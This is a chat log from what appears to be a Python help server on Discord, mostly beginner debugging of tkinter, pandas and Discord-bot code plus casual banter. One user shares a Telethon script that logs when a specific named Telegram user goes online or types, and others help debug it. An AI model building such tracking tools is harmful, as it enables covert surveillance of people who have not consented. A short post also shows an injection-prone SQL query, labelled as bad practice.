#voice-chat-text-0

1 messages ยท Page 650 of 1

somber heath
errant creek
#

import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)

CountedWord = entry1.get()

str(CountedWord).upper()

def WordCounter ():
global Acount

Acount = ("A: " , (CountedWord.count("A")))
("B: " , (CountedWord.count("B")))
("C: " , (CountedWord.count("C")))
("D: " , (CountedWord.count("D")))
("E: " , (CountedWord.count("E")))
("F: " , (CountedWord.count("F")))
("G: " , (CountedWord.count("G")))
("H: " , (CountedWord.count("H")))
("I: " , (CountedWord.count("I")))
("J: " , (CountedWord.count("J")))
("K: " , (CountedWord.count("K")))
("L: " , (CountedWord.count("L")))
("M: " , (CountedWord.count("M")))
("N: " , (CountedWord.count("N")))
("O: " , (CountedWord.count("O")))
("P: " , (CountedWord.count("P")))
("Q: " , (CountedWord.count("Q")))
("R: " , (CountedWord.count("R")))
("S: " , (CountedWord.count("S")))
("T: " , (CountedWord.count("T")))
("U: " , (CountedWord.count("U")))
("V: " , (CountedWord.count("V")))
("W: " , (CountedWord.count("W")))
("X: " , (CountedWord.count("X")))
("Y: " , (CountedWord.count("Y")))
("Z: " , (CountedWord.count("Z")))
("Spaces: ", (CountedWord.count(" ") - 1))
("Total: ", (len(CountedWord) - 1))

Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)

Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label)

somber heath
#

!code

wise cargoBOT
#

Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.

To do this, use the following method:

```python
print('Hello world!')
```

Note:
โ€ข These are backticks, not quotes. Backticks can usually be found on the tilde key.
โ€ข You can also use py as the language instead of python
โ€ข The language must be on the first line next to the backticks with no space between them

This will result in the following:

print('Hello world!')
errant creek
#

""""python import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)

CountedWord = entry1.get()

str(CountedWord).upper()

def WordCounter ():
global Acount

Acount = ("A: " , (CountedWord.count("A")))
("B: " , (CountedWord.count("B")))
("C: " , (CountedWord.count("C")))
("D: " , (CountedWord.count("D")))
("E: " , (CountedWord.count("E")))
("F: " , (CountedWord.count("F")))
("G: " , (CountedWord.count("G")))
("H: " , (CountedWord.count("H")))
("I: " , (CountedWord.count("I")))
("J: " , (CountedWord.count("J")))
("K: " , (CountedWord.count("K")))
("L: " , (CountedWord.count("L")))
("M: " , (CountedWord.count("M")))
("N: " , (CountedWord.count("N")))
("O: " , (CountedWord.count("O")))
("P: " , (CountedWord.count("P")))
("Q: " , (CountedWord.count("Q")))
("R: " , (CountedWord.count("R")))
("S: " , (CountedWord.count("S")))
("T: " , (CountedWord.count("T")))
("U: " , (CountedWord.count("U")))
("V: " , (CountedWord.count("V")))
("W: " , (CountedWord.count("W")))
("X: " , (CountedWord.count("X")))
("Y: " , (CountedWord.count("Y")))
("Z: " , (CountedWord.count("Z")))
("Spaces: ", (CountedWord.count(" ") - 1))
("Total: ", (len(CountedWord) - 1))

Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)

Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label) """"

somber heath
#

` ' "

#

`

#

~

errant creek
#
import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)


CountedWord = entry1.get()


str(CountedWord).upper()


def WordCounter ():
 global Acount

 Acount = ("A: " , (CountedWord.count("A")))
 ("B: " , (CountedWord.count("B")))
 ("C: " , (CountedWord.count("C")))
 ("D: " , (CountedWord.count("D")))
 ("E: " , (CountedWord.count("E")))
 ("F: " , (CountedWord.count("F")))
 ("G: " , (CountedWord.count("G")))
 ("H: " , (CountedWord.count("H")))
 ("I: " , (CountedWord.count("I")))
 ("J: " , (CountedWord.count("J")))
 ("K: " , (CountedWord.count("K")))
 ("L: " , (CountedWord.count("L")))
 ("M: " , (CountedWord.count("M")))
 ("N: " , (CountedWord.count("N")))
 ("O: " , (CountedWord.count("O")))
 ("P: " , (CountedWord.count("P")))
 ("Q: " , (CountedWord.count("Q")))
 ("R: " , (CountedWord.count("R")))
 ("S: " , (CountedWord.count("S")))
 ("T: " , (CountedWord.count("T")))
 ("U: " , (CountedWord.count("U")))
 ("V: " , (CountedWord.count("V")))
 ("W: " , (CountedWord.count("W")))
 ("X: " , (CountedWord.count("X")))
 ("Y: " , (CountedWord.count("Y")))
 ("Z: " , (CountedWord.count("Z")))
 ("Spaces: ", (CountedWord.count(" ") - 1))
 ("Total: ", (len(CountedWord) - 1))


Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)



Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label)

somber heath
#

_list = ['a', 1, print]

#

[1,2,3,4]

#

_list = [1,1,2,3]

#

list('abc') == ['a', 'b', 'c']

#
_list = [1,1,2,3]
_set = set(_list)
_set == {1,2,3}
#

set('aabccddddefg') == {'a', 'b', 'c', 'd', 'e', 'f', 'g'}

#
_dict = {'a': 5, 'b': 6}
_set = {4, 6, 7}```
vestal mason
#

@errant creek is this program counting the occurrences of a letter in a word?

slate sluice
#

@errant creek bruh........

#

is this code a joke?

frozen jacinth
#

amd

somber heath
#

GPT2 / GPT3

frozen jacinth
#
bruh
river sundial
#

hi

frozen oasis
#

yes what help do u need

river sundial
#

im trying to make this code work but it keeps on giving me an error message

#

here is the code

frozen oasis
#

ok

#

send it

river sundial
#

fig, (ax1, ax2) = plt.subplots(nrows =1, ncols=2, figsize = (40,40)
taxi_zones_pickups_dropped_off.plot(column = 'picked_ups', scheme = 'quantiles', k=6, legend = True, ax = ax1)
taxi_zones_pickups_dropped_off.plot(column = 'dropped_off', scheme = 'quantiles', k=6, legend = True, ax = ax2)
plt.show()

#

also here is the question for it- Compare spatial distribution of number of passengers picked up and dropped off in each zone side by side using quantiles classification scheme.

leaden tiger
#

yo

#

whats up

#

@frozen oasis

#

not rn

somber heath
#

@river sundial Can you post the error message in question in its entirety?

#

Good debugging requires good feedback.

river sundial
#

you mean the screenshot of the entire question with the error

#

here is the part 1 of the question

#

and then the part 2

somber heath
#

I just meant "post the error", but that works.

river sundial
#

ok

#

i did the merging of the two dataframes but it is still not working as you could see

somber heath
#

Look at the line above where it's saying the error is

river sundial
#

ok and

somber heath
#

The line it thinks the error is on looks fine

#

For starters, you're trying to do something like...

#

a, (b, c) = 1, 2, 3

#

Tuples are immutable.

#

Meaning you cant assign values to them in that way.

river sundial
#

actually that is the right code for this question but somehow it is giving me that error

somber heath
#

a, b, c = 1, 2, 3

river sundial
#

so what should i do to fix it. it is supposed to be an two maps side by side

somber heath
#
a,b = 1, (2,3)
c, d = b
a == 1
c == 2
d == 3
river sundial
#

hmm. im not sure if it supposed to be like that

#

no

#

The code that i used in the picture is correct but somehow it is giving an error

somber heath
#

Sorry, that thing I just posted does work, actually, because whatever.

river sundial
#

to let you know this is for an homework assignment so the professor wants it like that

somber heath
#

You're also missing a parenthesis.

river sundial
#

where

somber heath
#

At the end of that line. Sorry, I should have spotted that earlier. I got distracted.

river sundial
#

thats ok

somber heath
#

In any case, while (a,b) = 1, 2 will work, a, (b, c) = 1,2,3 will not.

river sundial
#

that first and second part is in the parantheses

somber heath
#

Line 45. The end.

#

Missing parenthesis.

#

Found it?

#

That's why it's telling you the error is on the next line.

river sundial
#

yes but know it is giving another error messages which is long. here it is

somber heath
#

Righto

#

It looks like The 'pick_ups' key/value pair isn't getting added to a dictionary or something, somewhere.

#

It is a bit of a chungus of an error message.

river sundial
#

can you tell me how to fix it

#

or what i need to do for it to make it work

somber heath
#

I haven't worked with Pandas, before, so my experience in untangling things that can go wrong with it is limited. I would either stick my head in the the #data-science-and-ml channel or grab a help channel from the Available category.

river sundial
#

can you guide me for where should i go becuase i have been stuck in this question for 3 day

somber heath
#

Or find them in the channel list.

river sundial
#

thats what i did which led me here

whole bear
#

Good code

import sqlite3 as sql

con = sql.connect("database.db")

con.execute("INSERT INTO tableName VALUES (?, ?)", ("foo", "bar"))

Bad code:

import sqlite3 as sql

con = sql.connect("database.db")

con.execute(f"INSERT INTO tableName VALUES ('{"foo"}', '{"bar"}')")
somber heath
#

So the lesson of the day is: f-strings bad. String concatination and str.format good. ๐Ÿ˜

whole bear
#

No. Just use native sqlite formatting.

#

lesson learned, now for sleep

dim wagon
#

wow64

#

bro

#

ids

severe elm
#

@stuck dirge there are a lot of background noises coming from your mic

pure path
#

So the lesson of the day is: f-strings bad. String concatination and str.format good. ๐Ÿ˜
@somber heath I hightly disagree

somber heath
#

@pure path That was a poor attempt at humour.

#

Pay it no mind.

severe elm
#

why are f-strings bad?

pure path
#

huh?, I am kinda confused

severe elm
#

django is using them all the time ;p

pure path
#

oh OpalMist was that a joke?

somber heath
#

There was discussion of people feeding evil string vars into sqlite.

deft void
#

i need help

#

i want to copy google sheets data into mysql workbench

#

can anyone help me out?

#

@somber heath

#

ok no problem

#

thank you

dusty granite
#

@lusty marsh do you know anything about kubernetes and how to deploy in GCP?

whole bear
#

k

rugged root
#

@brisk current

brisk current
#
async def qinfo(ctx,*,qn):
    for p in Qgrp.queues[qn]:
        await ctx.send(str(Qgrp.queues[qn].index(p)+1)+"."+p)```
lusty marsh
#
gen = [x for x in Qrp.queues[qn]]
rugged root
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

brisk current
#
from discord.ext import commands





class Queues:
    def __init__(self):
        self.queues = {}
    def addQueue(self,queue,qname):
        self.queues[qname] = queue
        
Qgrp = Queues()
client = commands.Bot(command_prefix="!")

@client.event
async def on_ready():
    print("Bot good to go")

@client.command()
async def Hello(ctx):
    await ctx.send("Hi")

@client.command()
async def cq(ctx,*,name):
    await ctx.send("Created Queue "+name) 
    namestr = name
    name = []
    Qgrp.addQueue(name,namestr)

@client.command()
async def jq(ctx,*,qn):
    Qgrp.queues[qn].append(ctx.author.name)
    await ctx.send("joined Queue "+qn)
@client.command()
async def qinfo(ctx,*,qn):
    for p in Qgrp.queues[qn]:
        await ctx.send(str(Qgrp.queues[qn].index(p)+1)+"."+p)
@client.command()
async def next(ctx,*,qn):
     Qgrp.queues[qn].pop(0)
     await ctx.send("Next up is "+Qgrp.queues[qn][0])

@client.command()
async def lq(ctx,*,qn):
    for person in Qgrp.queues[qn]:
        if person == ctx.author.name:
            Qgrp.queues[qn].pop(Qgrp.queues[qn].index(person))
    await ctx.send(ctx.author.name+" left the Queue")
@client.command()
async def dq(ctx,*,qn):
    Qgrp.queues.pop(qn)
    await ctx.send('queue '+qn+' deleted')

@client.command()
@commands.has_any_role('moderator')
async def view_queues(ctx):
    await ctx.send("\n".join(queue))```
#

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

lusty marsh
#

hello

somber heath
#

Cat?

brisk current
#

q

rugged root
candid storm
#

โœŒ๏ธ

hidden flower
#

nice pfp Hemlock ๐Ÿ‘

gilded minnow
#

Yeh hemlock u are looking cool buddy

somber heath
#

@whole bear ๐Ÿ˜’

whole bear
#

ew gta

#

6

somber heath
idle crater
#

hallo

#

need help

somber heath
#

@idle crater What's up?

idle crater
#

AssertionError: Only earley, cyk supports disambiguation right now

#

???

#

Gives me this error

#
Traceback (most recent call last):
  File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\aki.py", line 8, in <module>
    from core import repl
  File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\core\repl\__init__.py", line 55, in <module>
    from core import grammar as AkiParser
  File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\core\grammar\__init__.py", line 705, in <module>
    AkiParser = Lark(
  File "C:\Users\P045\AppData\Local\Programs\Python\Python38\lib\site-packages\lark\lark.py", line 188, in __init__
    assert self.options.parser in disambig_parsers, (
AssertionError: Only earley, cyk supports disambiguation right now
somber heath
#

Are you doing unit tests?

idle crater
#

@somber heath unit tests?

#

lark-parser==0.7.8

somber heath
#

@idle crater The only other place I've seen assert being used. You do them to make sure all your functions and methods and so on are working properly.

idle crater
#

AssertionError: Only earley, cyk supports disambiguation right now

somber heath
#

@idle crater As to your problem, I can't say I know exactly what's going on. Third party modules aren't always something that are in my wheelhouse. You could try grabbing a help channel. I wish I had a better answer for you. ๐Ÿ™‚

#

I tried looking up the source for the lark parser, but it's written in other-people-code.

idle crater
#

k

#

thanks

uneven urchin
#

just showed up :P

#

irritating

#

lmao

#

I meant its irritaing to not be able to turn them on

#

ah

somber heath
#

['a', 'b', 'c'][1] == 'b'

uneven urchin
#

sure tis nto a namedtuple?

#

and you can always map it to a dict imo

pastel lance
#

details = ["id", "acces_hash", "first_name", "last_name", "username", "phone", "status"]
details.num = [1, 14, 15, 16, 17, 19, 21]

uneven urchin
#

hold on

#

is this what i think it is

#

is this from powershell?

#

because if it is, you really should make it into a dict

pastel lance
#

python to telegram mate

somber heath
#
api_data = ('Bob', 'Pobblebonk', '56')
fields = ('first', 'last', 'age')
_dict = {key:value for key, value in zip(fields, api_data)}```
uneven urchin
#

ah, kk

#

but yes, you should make it a dictionary. I'm curious as to why it didnt start in one

#

or at least, a list of tuples like this:

pastel lance
#
details.num = [1, 14, 15, 16, 17, 19, 21]
print(f"Creating {target}.log file with user's details on top.")
print(target_details[details.num], file=open(f"{target}.log", "a"))
uneven urchin
#
dat = [("user", "bob-smith"), \
somber heath
#
file = open('file.txt', 'w')
#actions with file object take place
file.close()

#or

with open('file.txt', 'w') as file:
    #actions with file take place
    pass #do nothing
#

Doing with open means that the file is open within the block and it closes automatically behind the scenes.

pastel lance
#
target_file = open(f"{target}.log", "a")
print(target_details)
target_file.close()
#
@client.on(events.UserUpdate())
async def handler(event):
    time.sleep(2)
    if event.user_id == target_id:
        if event.online:
            target_file = open(f"{target}.log", "a")
            print(f"{target} went Online at : {datetime.now()}", file=target.log)
            target_file.close() 
        elif event.recently:
            target_file = open(f"{target}.log", "a")
            print(f"{target} was recently online at : {datetime.now()}", file=target.log)
            target_file.close() 
        elif event.typing:
            target_file = open(f"{target}.log", "a")
            print(f"{target} typed a message at : {datetime.now()}", file=target.log)
            target_file.close() 
        else:
            print("Sorry there was an error.")
            error_file = open("errors.log", "a")
            print(f"Error occuried on {datetime.now()} while listening to {target}", file=errors.log)
            errors_file.close() 
    else:
        print("Event from non-intersting user was saved on Non-Inter.log")
        non_inter = event.get_sender
        target_file = open("non-inter.log", "a")
        print(non_inter, file=non-inter.log)
        target_file.close()
        
client.run_until_disconnected()
#

Print(target_file, "blabla")

somber heath
#
log_file = open('text.txt', 'w')
print('Hello.', file=log_file)
log_file.close()```
brisk current
#
@commands.has_any_role('moderator')
async def view_queues(ctx):
    await ctx.send("\n".join(Qgrp.queues))```
lusty marsh
#
async def ismoderator(ctx) -> bool:
    for role in ctx.message.author.roles:
        if role.name == "moderator":
            return True
        else:
            continue
    return False
#
@client.command()
async def view_queues(ctx):
    moderator = await ismoderator(ctx)
    if moderator:
       await ctx.send("\n".join(Qgrp.queues))
    else:
       pass
pastel lance
#
@client.on(events.UserUpdate())
async def handler(event):
    time.sleep(2)
    if event.user_id == target_id:
        if event.online:
            target_file = open(f"{target}_log", "a")
            print(f"{target} went Online at : {datetime.now()}", file=target_file)
            target_file.close() 
        elif event.recently:
            target_file = open(f"{target}_log", "a")
            print(f"{target} was recently online at : {datetime.now()}", file=target_file)
            target_file.close() 
        elif event.typing:
            target_file = open(f"{target}_log", "a")
            print(f"{target} typed a message at : {datetime.now()}", file=target_file)
            target_file.close() 
        else:
            print("Sorry there was an error.")
            errors_log = open("errors_log", "a")
            print(f"Error occuried on {datetime.now()} while listening to {target}", file=errors_log)
            errors_log.close() 
    else:
        print("Event from non-intersting user was saved on Non-Inter_log")
        non_inter = await event.get_sender()
        non_inter_file = open("non-inter_log", "a")
        print(non_inter, file=non_inter_file)
        non_inter_file.close()
        
client.run_until_disconnected()
uneven urchin
#

what library are you using?

pastel lance
#

telethon

uneven urchin
#

There's no reason to have to do that

#

that code there is alright, other than reoipening and closing the error log a thousand times

#

should onytl ahve to do it once at most

lusty marsh
#

asyncio.run(event.get_sender())

uneven urchin
#

you shouldnt have to do that

#

You do not have to do that

#

but.. that is an async function..

pastel lance
#
first_msg = False
async def first_con():
    if first_msg == False:
        account = asyncio.run(client.get_entity(target))
        if isinstance(account.status, UserStatusOffline):
            target_file = open(f"{target}_log", "a")
            print(f"{target} is correctly Offline.", file=target_file)
            target_file.close()
            first_msg = True
        else:
            target_file = open(f"{target}_log", "a")
            print(f"{target} is correctly Online.", file=target_file)
            target_file.close()            
            first_msg = True
    else:
        errors_log = open("errors_log", "a")
        print(f"{datetime.now()}: Something went wrong checking correct status.", file=errors_log)
        errors_log.close() 
uneven urchin
#

thats a different issue

#

the issue there is first_msg is failing

#

if first_msg == False:

#

will throw an error

#

because first_msg shouldnt be function local

#

you need a global here

#

Well, it should be straight up erroring out automtically if you dont have global

#

it doesnt have to do with async

#

do you have an error message?

#

async def first_con():
if first_msg == False:
account = asyncio.run(client.get_entity(target))

#

can't work, because you've not defined target

#

yeah

#

as of recently

#

aw christ that garbage

#

let me find the stupid article

#

with apt]

#

sudo apt install python3-pip

pastel lance
#

sudo apt install python3-pip

uneven urchin
#

I think

#

your problem is you're not getting errors right

#

That code you shared has several issues that should error out immediately but you dont' seem to be having that happen

pastel lance
#
Session started at : 2020-10-17 17:36:41.456293
Logging in to Telegram complete.
Started listening to AboLeLe's status...
Creating AboLeLe_log file with user's details on top.
AboLeLe's User ID is : 524026454
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
uneven urchin
#

yeah

#

because that bit isn't running I suppose

#

You haven't done the @client.on for it

#

well, one function is running

#

but the other one isnt

#

yeah

#

hanlder() is working

#

first_msg is not

somber heath
#

python3 -m pip install packagename

uneven urchin
#

lomao

#

IDLE is for those who havent seen the true light

#

of M-c M-x M-butterfly

somber heath
#

Though your IDE may want you to install things into project folders or their own virtual environment.

brisk current
#

np++

pastel lance
#

await first_con()

uneven urchin
#

for what it gives you pycharm is light

#

but it gives you a metric ton so

#

I really hope you dont do sudo pip

#

that can cause issues

slow meteor
#

hi i'm new here

somber heath
#

@slow meteor Yahoy.

slow meteor
#

hey there

uneven urchin
#

wow canary is crashy today

#

anyway, laters

lusty marsh
#

isinstace(mylist, list)

#

mylist is list

#

mylist = ["a", 2, True]

brisk current
#

lst = []

somber heath
#
alpha = ['a', 'b', 'c']
beta = list('abc')
alpha == beta```
#

beta == ['a', 'b', 'c']

#

type('alpha') == str

lusty marsh
#
lst = [[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]
brisk current
#

[['hello'],['hello']]

somber heath
#

type([]) == list

lusty marsh
#

x = print([])

#

x is None

somber heath
#

str and list are examples of classes.

lusty marsh
#

""

somber heath
#

list

#

list('dfhf')

lusty marsh
#

lst = [x for x in string]

brisk current
#

def__init__

somber heath
#

list.__init__

brisk current
#

list.__init__.

lusty marsh
#

[].__init__()

sweet wraith
#

Anyone wanna help me with Tkinter?

somber heath
#

type([5, 1, 'cabbage'])('abc') == ['a', 'b', 'c']

#

@sweet wraith What's up?

sweet wraith
#
import tkinter as tk
import time


class Tkinter(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.daemon = True
        self.root = None
        self.entry = None
        self.label = None
        self.a = 0
        self.start()

    def run(self) -> None:
        self.root = tk.Tk()

        # tkinter code goes here
        self.root.geometry("+0+0")
        self.root.config(background="blue")

        self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
        self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)

        self.root.bind(self.read)
        self.root.mainloop()

    def read(self,event):
        key = event.keysym
        if key == "Enter":
            self.geta()


    def getA(self):
        self.a = self.int(entry.get())
        return self.a


app = Tkinter()

a = app.a

if a > 3:
    print("hello World!")
time.sleep(10000)```
#

Why won't this change the value of a, to whichever value I have entered in the entry?

#

@somber heath

somber heath
#

Yep yep.

sweet wraith
#

@somber heath join code/help2 please

#

import threading
import tkinter as tk
import time


class Tkinter(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.daemon = True
        self.root = None
        self.entry = None
        self.label = None
        self.a = 0
        self.start()

    def run(self) -> None:
        self.root = tk.Tk()

        # tkinter code goes here
        self.root.geometry("+0+0")
        self.root.config(background="blue")

        self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
        self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)

        self.root.bind(self.read)
        self.root.mainloop()

    def read(self,event):
        key = event.keysym
        if key == "Enter":
            self.geta()


    def getA(self):
        self.a = int(entry.get())
        return self.a


app = Tkinter()

a = app.a

if a > 3:
    print("hello World!")
time.sleep(10000)```
lusty marsh
#

self.a = int(entry.get())

#

Return

#

while True:
time.sleep(0.0001)
if a > 3:

sweet wraith
#

import threading
import tkinter as tk
import time


class Tkinter(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.daemon = True
        self.root = None
        self.entry = None
        self.label = None
        self.a = 0
        self.start()

    def run(self) -> None:
        self.root = tk.Tk()

        # tkinter code goes here
        self.root.geometry("+0+0")
        self.root.config(background="blue")

        self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
        self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
        self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)

        self.root.bind(self.read)
        self.root.mainloop()

    def read(self,event):
        key = event.keysym
        if key == "Return":
            self.geta()


    def getA(self):
        self.a = int(entry.get())
        return self.a


app = Tkinter()

a = app.a

while True:
    if a > 3:
        print("hello World!")
brisk current
#

@client.event
async def on_command_error(ctx, exception):
pass

lusty marsh
#

"<KeyPress>"

#

self.root.bind("<KeyPress">, self.read)

sweet wraith
#

"<KeyPress>"

lusty marsh
#

geta

#

getA

#

self.entry.get()

sweet wraith
#

self.entry = tk.Entry(self.root, bg="blue", command = getA)

lusty marsh
#

self.getA

sweet wraith
#

self.entry2

#

self.entry2("<CursorPoint>")

lusty marsh
#

"<Enter>"

sweet wraith
#

self.root.bind("<Enter>")

#

self.root.bind("<KeyPress>",self.read)

#

self.entry2.bind("<KeyPress>",self.read) - so when only entry2, it will start the event?

lusty marsh
#

def onenter(event):

sweet wraith
#

AttributeError: 'Tkinter' object has no attribute 'event'

lusty marsh
#

self.event

#

event

#

app.a

sweet wraith
#

a = app.a

lusty marsh
#

0.000012

#

4

sweet wraith
#

timeStop = Button(self.root, ......)

#

etc....

#

x_1,x_2.... x_n

lusty marsh
#

tk.Button

quasi condor
#
GreenSock

Animate anything (SVG, DOM, canvas, generic objects, whatever) along a motion path in any browser. Define the path using an SVG path or an Array of points. The magical align feature bends coordinate systems and really sets it apart. You can even edit the path in-browser using ...

whole bear
#

is that among us?

olive hedge
whole bear
#

@icy axle what about gurklang?

quasi condor
whole bear
#

do you have to change your birth name or is this just a discord cult

somber heath
#

It gets appended to your True Name.

olive hedge
whole bear
#

what does it mean to be apart of a community

#

for the criteria

#

wait a minute

#

there are no no payments

#

therefore there are payments

quasi condor
#
src/
    - style/
        - all-your-css
    - static/
        - logo.svg
        - other.img
    - components/
        - whatever.js
    - tests/
        - testWhatever.js
    - index.html
    - app.js
whole bear
#

so its no free?

hidden flower
#

Only if you count your soul

whole bear
#

i have to pay my soul?

quasi condor
somber heath
#

Yeah, I do programming for the enjoyment of it. My fear is, if I had to do it professionally, the joy would be sucked right out of it.

#

But I suppose it would depend on what field and the working environment/culture.

whole bear
#

@dire folio why your video on

somber heath
#

@olive hedge How fast would you have to flap the flaps before you're able to take off from the generated thrust?

tiny seal
#

this conversation is too chaotic for me to follow, goodbye

somber heath
#

Ta-ta.

lusty marsh
#

xaxaxaxaxaxa

thin mesa
whole rover
#

lol

#

why the fuck is there gurkan shit going on

#

lol

thin mesa
#

Its our meeting ๐Ÿ˜›

olive hedge
#

ah good, we could use your input on react, joe

whole rover
#

I will not be making any comments on the gurkan crisis

somber heath
#

Too late.

olive hedge
#

I will not be making any comments on the gurkan crisis
I respect the decision haha

whole rover
#

To some degree I feel like my fears of the Gurkan cult are comparable to the Domino Theory between 1950 and 1980. If one country falls to communism, those neighbouring are at an increased risk. I believe that a policy of containment is an appropriate action here and will continue to be carrying out that policy. Should the gurkan crisis escalate I will not hesitate to deploy programmatic forces to obliterate the gurkan cult.

#

Iron curtain? More like vegetable knife

rugged root
#

@main relic I muted you because you had some serious echo on your mic

#

If you can fix your echoing issue I'll unmute

olive hedge
#

tbh this is exactly how I feel the gurkult would be viewed by the owners here LOL

ocean tapir
#

What is he making it in?

somber heath
#

Wikipydia

icy axle
#

why the fuck is there gurkan shit going on
@whole rover we're having an official Gurkult meeting atm

olive hedge
somber heath
#

Great minds

ivory shuttle
#

Hey Mr Hemlock, quick question, what kernel does Manjaro use?

olive hedge
#

linux kernel

#

lel

ivory shuttle
#

like version

#

Gonna see if I can make the switch from ubuntu to manjaro soon

olive hedge
#

Mnajaro and arch is nice

somber heath
#

Row, row, row your boat, gently down the repo stream...

ivory shuttle
#

I need to get rid of apt lol

#

why apt when I can just yay all my stuff

olive hedge
#

I really like this version, but we can keep working at it

somber heath
#

"If you drink water from the tap like a normal human being". I am no normal human being. Cue dramatic pose.

crimson dew
ivory shuttle
#

Don't drink too much energy

thin mesa
#

OOh I like that font style.

whole rover
#

lol it's still going

#

wew

whole bear
#

@icy axle what software is that again?

crystal fox
#

oh lord, three of the best people are in voice

quasi condor
#

talking about vapes vs cigarettes

#

seems sufficiently Bisky

whole bear
#

me, myself, and I

crystal fox
#

that's pretty bisky

thin mesa
#

aww thank you for recognizing my bestness

crystal fox
#

vapes, less cancer

#

cigarettes, fire is cool

#

also: don't smoke or vape, nicotine addiction is a waste of money.

thin mesa
#

OOh my energy drink is vegan ๐Ÿ˜„

ivory shuttle
#

Im addicted to breathing

#

I can't stop

somber heath
#

Python addiction is far more productive.

crystal fox
#

a vital function is not an addiction

#

it's a requirement

ivory shuttle
#

lmao, I was joking

crystal fox
#

it's the same reason i can't stop taking amphetamines or my heart will stop.

ivory shuttle
#

...

crystal fox
#

lmao, I was joking

#

ยฌ_ยฌ

ivory shuttle
icy axle
#

@icy axle what software is that again?
@whole bear Adobe XD

whole bear
#

ok

quasi condor
#

very bad luck on the timing there Bisk

crystal fox
#

back to my TV show

#

yeah, figured as much

#

should keep my eye on your balls

#

*the ball

whole bear
#

with adobe xp does it make the site for you @icy axle?

icy axle
#

No

#

Itโ€™s just design

whole bear
#

how are you going to make it into a site

#

does it do the html for you

icy axle
#

No

#

You code that yourself

#

Weโ€™ll be doing it in react

whole bear
#

so this helps you visualize how your site will look like

icy axle
#

Yeah, partially

whole bear
#

okay thank you

#

@icy axle write "great to put on your resume"

#

oh ok

icy axle
#

Yepp

#

Didnโ€™t find the word for resume

thin mesa
#

King Raccoon is so loud. I can hear you in my bathroom

#

Lol

whole bear
#

you can lower someone's user volume

thin mesa
#

Ya I will once I'm back at my pc lol

whole bear
#

@boreal herald if I am not wrong, I think that is what Donald Trump suggested to fight against COVID?

olive hedge
#

@quasi condor out of there SO fast

quasi condor
#

I think I heard all that I needed to here

olive hedge
#

I agree

quasi condor
#

I'll do something else whilst waiting for my food to be delivered

whole bear
#

im going to mute him

#

@icy axle make it so when you press the 'leave now' button it takes the user to a rick roll

icy axle
#

That's the plan

whole bear
#

if this was what you were looking for

icy axle
#

Yeah, sadly it can't use custom cursors

#

I think

#

We're trying to make it a cucumber

whole bear
#

there is a chrome extension for that i think

icy axle
#

I think we'll just have to hide the cursor and make it in JS

whole bear
#

yeah

#

that would be awesome

icy axle
#

I need a loan of a million dollars

#
  • Donald J. Trump
whole bear
#

@icy axle we will sell Gurklang doc books

icy axle
#

@olive hedge could we have som hoodies as well?

thin mesa
icy axle
#

Hahhaahahha

thin mesa
icy axle
#

AHah what? Really?

thin mesa
#

yes I bought a magnet for my car

icy axle
#

Awesome!!

#

Pillow

proper flume
#

PIL

thin mesa
whole bear
#

yes pillow is better than pil

gentle flint
whole bear
#

oh ywah i rememebr that

gentle flint
#

